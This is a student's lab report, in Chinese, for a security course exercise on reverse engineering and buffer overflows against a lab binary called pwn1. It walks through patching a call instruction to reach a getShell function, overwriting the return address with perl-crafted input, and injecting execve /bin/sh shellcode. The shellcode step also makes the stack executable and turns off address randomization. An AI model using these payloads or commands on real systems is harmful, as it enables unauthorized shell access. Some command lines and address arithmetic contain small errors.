20165310 NstSec2019 Week3 Exp1 逆向与Bof基础
20165310 NstSec2019 Week3 Exp1 逆向与Bof基础
一、实验内容
-
实验目标
本次实践的对象是一个名为pwn1的linux可执行文件。
该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。
该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。
-
实验原理
-
缓冲区溢出原理
-
函数调用堆栈步骤
-
-
实验任务
- 任务一、直接修改程序机器指令,改变程序执行流程
- 任务二、通过构造输入参数,造成BOF攻击,改变程序执行流
- 任务三、注入Shellcode并运行攻击
-
实验基础
-
基本Linux操作,例如反汇编指令、编辑器指令等,具体指令见实验过程
-
汇编语言基础
NOP汇编指令的机器码是“90” JNE汇编指令的机器码是“75” JE 汇编指令的机器码是“74” JMP汇编指令的机器码是“eb” CMP汇编指令的机器码是“39
-
基本gdb单步调试能力
-
二、实验步骤
任务一、直接修改程序机器指令,改变程序执行流程
-
将pwn1复制为pwn0作为备份,运行pwn1,发现pwn1的功能是打印输入的内容
-
使用
objdump -d pwn1
将pwn1反汇编 ,查看相关函数 -
排除系统调用,寻找关键函数
main
、foo
、getshell
-
根据反汇编代码
- 计算主函数跳转地址,计算方法为:
call
对应的跳转指令为:e8+偏移地址
,如图中所示为e8 d7 ff ff ff
,原本eip所对应地址为:0x80484ba
,最终指令地址为eip+偏移地址
,即函数foo
的首地址8048491
,通过计算器可以验证正确性- 函数
getshell
的首地址为0x804847d
,计算偏移地址为0x804847d-0x80484ba
,得0xffffffc3
,由于大小端存储格式,更改指令应该为e8 c3 ff ff ff
- 除以上方法外,简便的计算方法,
foo
基地址-0xffffffd7
=getshell
基地址-所求跳转偏移地址,答案一样
-
计算出地址后,对程序跳转机器指令进行修改,使其不再跳转到
foo
,而是直接跳转至函数getShell
-
利用万能的
vim
打开pwn1文件,发现满屏乱码,原因是vim默认显示ASCII码,esc
切换到命令模式输入命令:%!xxd
将其转换为16进制显示(windows环境推荐winhex) -
搜索需要修改的部分,便于修改,搜索命令
/+搜索内容
,输入i
切换到输入模式,将d7 ff ff ff
修改为c3 ff ff ff
-
再次切换至命令模式,利用命令
:%!xdd -r
,使文件从十六进制转换回ASCII码,国际惯例:wq
保存并退出,为了验证我们是否修改正确,再次利用objdump -d pwn1
反汇编查看代码,确认修改正确 -
确认修改地址成功,运行pwn1,验证是否能够跳转至
getshell
函数,发现成功得到shell
-
任务二、通过构造输入参数,造成BOF攻击,改变程序执行流
-
从备份pwn0复制pwn2进行实验,
objdump -d pwn2
查看反汇编代码,计算缓冲区大小 -
根据上图的代码,我们猜测缓冲区大小为
0x1c
,即28字节大小,加上ebp
的四个字节共为32字节,我们运行程序进行输入,分别为36字节、32字节、31字节、28字节、27字节验证自己的想法 -
输入36字节的输入
111111112222222233333333444444445555
,gdb调试,i r
查看寄存器的值,eip
中0x35353535
正是5555
的ASCII值,可见返回地址被5555
覆盖,将5555
改成getshell
地址0x0804847d
即可 -
但是输入参数需为ASCII码,地址需要与填充的字符串一起,利用解释型语法
perl
构造后输入,具体构造方法如下:-
将所需字符串+地址,利用
perl
重定向至文件perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > BOF1
-
查看文件
cat BOF1
或xxd BOF1
可查看是否重定向成功,成功后利用管道输入参数至pwn2(cat BOF1; cat ) | ./pwn2
,成功获得shell
-
任务三、注入Shellcode并运行攻击
-
ShellCode:一段机器指令(code),通常这段机器指令的目的是为获取一个交互式的shell(像linux的shell或类似windows下的cmd.exe),所以这段机器指令被称为shellcode
-
前期环境准备工作
-
备份pwn0为pwn3作为实验对象
-
输入指令
apt-get install execstack
安装execstack
-
设置堆栈可执行,否则就算注入成功也无法执行。
execstack -s pwn3 //设置堆栈可执行 execstack -q pwn3 //查询文件的堆栈是否可执行
-
关闭地址随机化:现代操作系统地址随机化导致缓冲区溢出困难,下次可以尝试不关闭随机化的缓冲区溢出攻击。
more /proc/sys/kernel/randomize_va_space //查看随机化是否关闭 'echo "0" > /proc/sys/kernel/randomize_va_space //关闭随机化 more /proc/sys/kernel/randomize_va_space //查看随机化是否关闭
(其中“2”为开启,“0”为关闭)
-
-
运行pwn3,构造shellcode注入,gdb单步调试,确认返回地址的位置
-
构造shellcode,有如下三种构造方式,实验指导中所谓的“坑”即方法一,在缓冲区足够大时是适用的,由于本实验缓冲区只有32字节,并不适用,我们选择方法二:RNS溢出模式
-
根据shellcode构造方法进行构造,继续利用
perl
语句重定向后注入,注入原理如下: -
参考实验指导的shellcode,假设返回地址1234进行构造:
perl -e 'print "A" x 32;print"\x04\x03\x02\x01\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode1
,再利用(cat input_shellcode;cat) | ./pwn3
进行注入 -
打开第二个terminal,利用gdb进行调试,首先找到对应进程才能进行调试,输入
ps -ef | grep pwn3
找到对应进程,进程号为6719 -
gdb命令
attach+进程号
进行单步调试,disassemble+函数名
查看对应函数指令对应地址,其中返回值ret是我们关注的重点 -
b+指针
设置ret的断点,c
为函数继续执行的意思,注意一定要在注入的terminal按下回车,否则会出错,总结中将提到这一错误;利用i r esp
查看esp的地址,x/16x+esp地址
查看esp中的内容的十六进制,可以清晰看到esp最后为0x01020304
正是我们假定实验的数值。
-
-
确认返回地址无误后,我们将假定的返回地址地址1234换为
shellcode
函数的真正地址,即0xffffd2ec+0x4=0xffffdef0
,重定向为input_shellcode2
-
注入shellcode,成功获得shell
遇到问题与感想
- 问题与解决方法:
- 问题:在任务三gdb单步调试时,
continue
时,没有去另一个终端按下回车而是在当前终端按下回车,最终的esp并不在ret,经过查看地址的数据,发现差了四个字节,应该是多了回车导致多执行了一条命令,使esp产生了变化。 - 解决方法:在注入的终端执行回车
- 问题:在任务三gdb单步调试时,
- 实验感想:
- 初步理解缓冲区溢出原理与构造方法
- 实际情况往往比实验复杂许多,还需要学习与研究
- 对于汇编等基础知识的学习还要加强
- 什么是漏洞?漏洞有什么危害?
- 漏洞是在硬件、软件、协议的具体实现或系统安全策略上存在的缺陷,从而可以使攻击者能够在未授权的情况下访问或破坏系统。
- 理论上世界上任何程序、硬件、设备等都存在漏洞
- 漏洞的危害可大可小,小则个人隐私等遭受破坏,大则全国经济损失、国家信息被泄露等一系列重大后果。